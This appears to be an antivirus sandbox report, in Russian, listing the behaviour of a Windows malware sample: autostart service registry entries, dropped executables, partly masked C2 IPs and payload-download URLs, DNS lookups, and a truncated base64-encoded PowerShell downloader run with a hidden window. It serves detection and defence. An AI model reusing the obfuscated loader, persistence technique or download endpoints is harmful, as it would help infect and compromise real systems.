Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wpdshext] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wpdshext] 'ImagePath' = '"%WINDIR%\SysWOW64\msvcr90d\wpdshext.exe"'
- 'wpdshext' "%WINDIR%\SysWOW64\msvcr90d\wpdshext.exe"
- 'wpdshext' %WINDIR%\SysWOW64\msvcr90d\wpdshext.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABWAHcAegAzAHAAdgBjAD0AKAAnAEgAJwArACcAdAAnACsAKAAnADcAeQBkACcAKwAnAHkAbgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAcgBwAHIAbwBGAGkAbABlAFwAVgByAFoAMg...
- %HOMEPATH%\vrz2dk1\z52sdmm\yvgcdua_.exe
- %WINDIR%\syswow64\msvcr90d\wpdshext.exe
- %HOMEPATH%\vrz2dk1\z52sdmm\yvgcdua_.exe в %WINDIR%\syswow64\msvcr90d\wpdshext.exe
- '11#.#43.83.70':80
- '5.###.168.53':8080
- http://sh###iushu.cn/3ls806/1rVeMNHQ/
- http://5.###.168.53:8080/dl3l/0jfA4oC/cSHPTMiwZ4BEV/ via 5.###.168.53
- DNS ASK 91##ma.cn
- DNS ASK sh###iushu.cn
- '%HOMEPATH%\vrz2dk1\z52sdmm\yvgcdua_.exe'
- '%WINDIR%\syswow64\msvcr90d\wpdshext.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABWAHcAegAzAHAAdgBjAD0AKAAnAEgAJwArACcAdAAnACsAKAAnADcAeQBkACcAKwAnAHkAbgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAcgBwAHIAbwBGAGkAbABlAFwAVgByAFoAMg...' (со скрытым окном)